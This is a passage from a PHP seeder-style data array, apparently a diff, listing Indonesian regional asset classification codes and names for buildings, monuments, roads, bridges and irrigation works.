'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '018', + 'nama' => 'BANGUNAN INDUSTRI KERAMIK/MARMER', + ], + [ + 'id_aset' => 3356, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '019', + 'nama' => 'BANGUNAN PABRIK ES', + ], + [ + 'id_aset' => 3357, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '020', + 'nama' => 'BANGUNAN PASAR IKAN HIGIENIS/ PIH', + ], + [ + 'id_aset' => 3358, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '021', + 'nama' => 'BANGUNAN DEPO PASAR IKAN', + ], + [ + 'id_aset' => 3359, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '022', + 'nama' => 'BANGUNAN PASAR/ RAISER IKAN HIAS', + ], + [ + 'id_aset' => 3360, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '20', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN INDUSTRI LAINNYA', + ], + [ + 'id_aset' => 3361, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '21', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PETERNAKAN/PERIKANAN', + ], + [ + 'id_aset' => 3362, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '21', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN UNTUK KANDANG', + ], + [ + 'id_aset' => 3363, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '21', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN KOLAM/BAK IKAN', + ], + [ + 'id_aset' => 3364, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '21', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN PEMBESAR IKAN', + ], + [ + 'id_aset' => 3365, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '21', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PETERNAKAN/PERIKANAN LAINNYA', + ], + [ + 'id_aset' => 3366, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '22', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GEDUNG TEMPAT KERJA LAINNYA', + ], + [ + 'id_aset' => 3367, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '22', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN GEDUNG TEMPAT KERJA LAINNYA PERMANEN', + ], + [ + 'id_aset' => 3368, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '22', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN GEDUNG TEMPAT KERJA LAINNYA SEMI PERMANEN', + ], + [ + 'id_aset' => 3369, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '22', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN GEDUNG TEMPAT KERJA LAINNYA DARURAT', + ], + [ + 'id_aset' => 3370, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '22', + 'sub_sub_kelompok' => '004', + 'nama' => 'GEDUNG PENGUJIAN KENDARAAN LAINNYA', + ], + [ + 'id_aset' => 3371, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '22', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN LAINNYA', + ], + [ + 'id_aset' => 3372, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN FASILITAS UMUM', + ], + [ + 'id_aset' => 3373, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN TEMPAT PARKIR', + ], + [ + 'id_aset' => 3374, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN TEMPAT BERMAIN ANAK', + ], + [ + 'id_aset' => 3375, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN PENERANGAN JALAN', + ], + [ + 'id_aset' => 3376, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '004', + 'nama' => 'BANGUNAN PENERANGAN TAMAN', + ], + [ + 'id_aset' => 3377, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN FASILITAS UMUM LAINNYA', + ], + [ + 'id_aset' => 3378, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '24', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PARKIR', + ], + [ + 'id_aset' => 3379, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '24', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN PARKIR TERBUKA PERMANEN', + ], + [ + 'id_aset' => 3380, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '24', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN PARKIR TERBUKA SEMI PERMANEN', + ], + [ + 'id_aset' => 3381, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '24', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN PARKIR TERBUKA DARURAT', + ], + [ + 'id_aset' => 3382, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '24', + 'sub_sub_kelompok' => '004', + 'nama' => 'BANGUNAN PARKIR TERTUTUP PERMANEN', + ], + [ + 'id_aset' => 3383, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '24', + 'sub_sub_kelompok' => '005', + 'nama' => 'BANGUNAN PARKIR TERTUTUP SEMI PERMANEN', + ], + [ + 'id_aset' => 3384, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '24', + 'sub_sub_kelompok' => '006', + 'nama' => 'BANGUNAN PARKIR TERTUTUP DARURAT', + ], + [ + 'id_aset' => 3385, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '24', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PARKIR LAINNYA', + ], + [ + 'id_aset' => 3386, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '25', + 'sub_sub_kelompok' => '000', + 'nama' => 'TAMAN', + ], + [ + 'id_aset' => 3387, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '25', + 'sub_sub_kelompok' => '001', + 'nama' => 'TAMAN PERMANEN', + ], + [ + 'id_aset' => 3388, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '25', + 'sub_sub_kelompok' => '002', + 'nama' => 'TAMAN SEMI PERMANEN', + ], + [ + 'id_aset' => 3389, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '25', + 'sub_sub_kelompok' => '999', + 'nama' => 'TAMAN LAINNYA', + ], + [ + 'id_aset' => 3390, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GEDUNG TEMPAT KERJA LAINNYA', + ], + [ + 'id_aset' => 3391, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN GEDUNG TEMPAT KERJA LAINNYA', + ], + [ + 'id_aset' => 3392, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'HOTEL', + ], + [ + 'id_aset' => 3393, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'HOTEL PERMANEN', + ], + [ + 'id_aset' => 3394, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'HOTEL SEMI PERMANEN', + ], + [ + 'id_aset' => 3395, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'HOTEL LAINNYA', + ], + [ + 'id_aset' => 3396, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'MOTEL', + ], + [ + 'id_aset' => 3397, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'MOTEL PERMANEN', + ], + [ + 'id_aset' => 3398, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'MOTEL SEMI PERMANEN', + ], + [ + 'id_aset' => 3399, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'MOTEL LAINNYA', + ], + [ + 'id_aset' => 3400, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'PANTI ASUHAN', + ], + [ + 'id_aset' => 3401, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'PANTI ASUHAN', + ], + [ + 'id_aset' => 3402, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'PANTI ASUHAN LAINNYA', + ], + [ + 'id_aset' => 3403, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GEDUNG TEMPAT TINGGAL LAINNYA', + ], + [ + 'id_aset' => 3404, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN GEDUNG TEMPAT TINGGAL LAINNYA', + ], + [ + 'id_aset' => 3405, + 'golongan' => '4', + 'bidang' => '02', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'MONUMEN', + ], + [ + 'id_aset' => 3406, + 'golongan' => '4', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'CANDI/TUGU PERINGATAN/PRASASTI', + ], + [ + 'id_aset' => 3407, + 'golongan' => '4', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'CANDI', + ], + [ + 'id_aset' => 3408, + 'golongan' => '4', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'CANDI', + ], + [ + 'id_aset' => 3409, + 'golongan' => '4', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'CANDI LAINNYA', + ], + [ + 'id_aset' => 3410, + 'golongan' => '4', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'TUGU', + ], + [ + 'id_aset' => 3411, + 'golongan' => '4', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'TUGU KEMERDEKAAN', + ], + [ + 'id_aset' => 3412, + 'golongan' => '4', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'TUGU PEMBANGUNAN', + ], + [ + 'id_aset' => 3413, + 'golongan' => '4', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'TUGU PERINGATAN LAINNYA', + ], + [ + 'id_aset' => 3414, + 'golongan' => '4', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENINGGALAN', + ], + [ + 'id_aset' => 3415, + 'golongan' => '4', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'ISTANA PENINGGALAN', + ], + [ + 'id_aset' => 3416, + 'golongan' => '4', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'RUMAH ADAT', + ], + [ + 'id_aset' => 3417, + 'golongan' => '4', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'RUMAH PENINGGALAN SEJARAH', + ], + [ + 'id_aset' => 3418, + 'golongan' => '4', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'MAKAM BERSEJARAH', + ], + [ + 'id_aset' => 3419, + 'golongan' => '4', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENINGGALAN LAINNYA', + ], + [ + 'id_aset' => 3420, + 'golongan' => '4', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'CANDI/TUGU PERINGATAN/PRASASTI LAINNYA', + ], + [ + 'id_aset' => 3421, + 'golongan' => '4', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENINGGALAN LAINNYA', + ], + [ + 'id_aset' => 3422, + 'golongan' => '4', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'CANDI/TUGU PERINGATAN/PRASASTI LAINNYA', + ], + [ + 'id_aset' => 3423, + 'golongan' => '5', + 'bidang' => '00', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'JALAN', + ], + [ + 'id_aset' => 3424, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'JALAN DAN JEMBATAN', + ], + [ + 'id_aset' => 3425, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'JALAN', + ], + [ + 'id_aset' => 3426, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'JALAN DESA', + ], + [ + 'id_aset' => 3427, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'JALAN DESA', + ], + [ + 'id_aset' => 3428, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'JALAN DESA LAINNYA', + ], + [ + 'id_aset' => 3429, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'JALAN KHUSUS', + ], + [ + 'id_aset' => 3430, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'JALAN KHUSUS INSPEKSI', + ], + [ + 'id_aset' => 3431, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'JALAN KHUSUS KOMPLEKS', + ], + [ + 'id_aset' => 3432, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'JALAN KHUSUS PROYEK', + ], + [ + 'id_aset' => 3433, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'JALAN KHUSUS QUARRY', + ], + [ + 'id_aset' => 3434, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'JALAN KHUSUS LORI', + ], + [ + 'id_aset' => 3435, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'JALAN KHUSUS BADAN HUKUM', + ], + [ + 'id_aset' => 3436, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '007', + 'nama' => 'JALAN KHUSUS PERORANGAN', + ], + [ + 'id_aset' => 3437, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '008', + 'nama' => 'JALAN KHUSUS LAINNYA', + ], + [ + 'id_aset' => 3438, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '009', + 'nama' => 'JALAN KHUSUS PEJALAN KAKI (TROTOAR)', + ], + [ + 'id_aset' => 3439, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'LAINNYA (JALAN KHUSUS)', + ], + [ + 'id_aset' => 3440, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'JALAN LAINNYA', + ], + [ + 'id_aset' => 3441, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'JALAN LAINNYA', + ], + [ + 'id_aset' => 3442, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'JEMBATAN', + ], + [ + 'id_aset' => 3443, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'JEMBATAN PADA JALAN DESA', + ], + [ + 'id_aset' => 3444, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'JEMBATAN PADA JALAN DESA', + ], + [ + 'id_aset' => 3445, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'JEMBATAN PADA JALAN DESA LAINNYA', + ], + [ + 'id_aset' => 3446, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'JEMBATAN PADA JALAN KHUSUS', + ], + [ + 'id_aset' => 3447, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'JEMBATAN PADA JALAN KHUSUS INSPEKSI', + ], + [ + 'id_aset' => 3448, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'JEMBATAN PADA JALAN KHUSUS KOMPLEKS', + ], + [ + 'id_aset' => 3449, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'JEMBATAN PADA JALAN KHUSUS PROYEK', + ], + [ + 'id_aset' => 3450, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'JEMBATAN PADA JALAN KHUSUS QUARRY', + ], + [ + 'id_aset' => 3451, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'JEMBATAN PADA JALAN KHUSUS LORI', + ], + [ + 'id_aset' => 3452, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'JEMBATAN PADA JALAN KHUSUS BADAN HUKUM', + ], + [ + 'id_aset' => 3453, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '007', + 'nama' => 'JEMBATAN PADA JALAN KHUSUS PERORANGAN', + ], + [ + 'id_aset' => 3454, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'JEMBATAN PADA JALAN KHUSUS LAINNYA', + ], + [ + 'id_aset' => 3455, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'JEMBATAN PENYEBERANGAN', + ], + [ + 'id_aset' => 3456, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'JEMBATAN PENYEBERANGAN ORANG', + ], + [ + 'id_aset' => 3457, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'JEMBATAN PENYEBERANGAN KENDARAAN', + ], + [ + 'id_aset' => 3458, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'JEMBATAN GANTUNG', + ], + [ + 'id_aset' => 3459, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'JEMBATAN PENYEBERANGAN LAINNYA', + ], + [ + 'id_aset' => 3460, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'JEMBATAN LABUH/SANDAR PADA TERMINAL', + ], + [ + 'id_aset' => 3461, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'DERMAGA', + ], + [ + 'id_aset' => 3462, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'KADE', + ], + [ + 'id_aset' => 3463, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'EMBARKASI/DEBARKASI', + ], + [ + 'id_aset' => 3464, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '004', + 'nama' => 'JEMBATAN PANTAI', + ], + [ + 'id_aset' => 3465, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'JEMBATAN LABUH/SANDAR PADA TERMINAL LAINNYA', + ], + [ + 'id_aset' => 3466, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'JEMBATAN PENGUKUR', + ], + [ + 'id_aset' => 3467, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'JEMBATAN TIMBANG', + ], + [ + 'id_aset' => 3468, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'JEMBATAN KIR/PENGUJIAN', + ], + [ + 'id_aset' => 3469, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'JEMBATAN PENGUKUR LAINNYA', + ], + [ + 'id_aset' => 3470, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'JEMBATAN LAINNYA', + ], + [ + 'id_aset' => 3471, + 'golongan' => '5', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'JEMBATAN LAINNYA', + ], + [ + 'id_aset' => 3472, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN AIR', + ], + [ + 'id_aset' => 3473, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN AIR IRIGASI', + ], + [ + 'id_aset' => 3474, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN WADUK IRIGASI', + ], + [ + 'id_aset' => 3475, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => '\"WADUK DENGAN BENDUNGAN', + ], + [ + 'id_aset' => 3476, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => '\"WADUK DENGAN BENDUNGAN', + ], + [ + 'id_aset' => 3477, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'WADUK DENGAN MENARA PENGAMBILAN', + ], + [ + 'id_aset' => 3478, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => '\"WADUK DENGAN TANGGUL', + ], + [ + 'id_aset' => 3479, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'WADUK DENGAN TANGGUL DAN PINTU PENGUKUR WADUK LAPANGAN', + ], + [ + 'id_aset' => 3480, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN WADUK IRIGASI LAINNYA', + ], + [ + 'id_aset' => 3481, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGAMBILAN IRIGASI', + ], + [ + 'id_aset' => 3482, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'BENDUNG', + ], + [ + 'id_aset' => 3483, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'BENDUNG DENGAN PINTU BILAS', + ], + [ + 'id_aset' => 3484, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'BENDUNG DENGAN POMPA', + ], + [ + 'id_aset' => 3485, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'BANGUNAN PENGAMBILAN BEBAS', + ], + [ + 'id_aset' => 3486, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 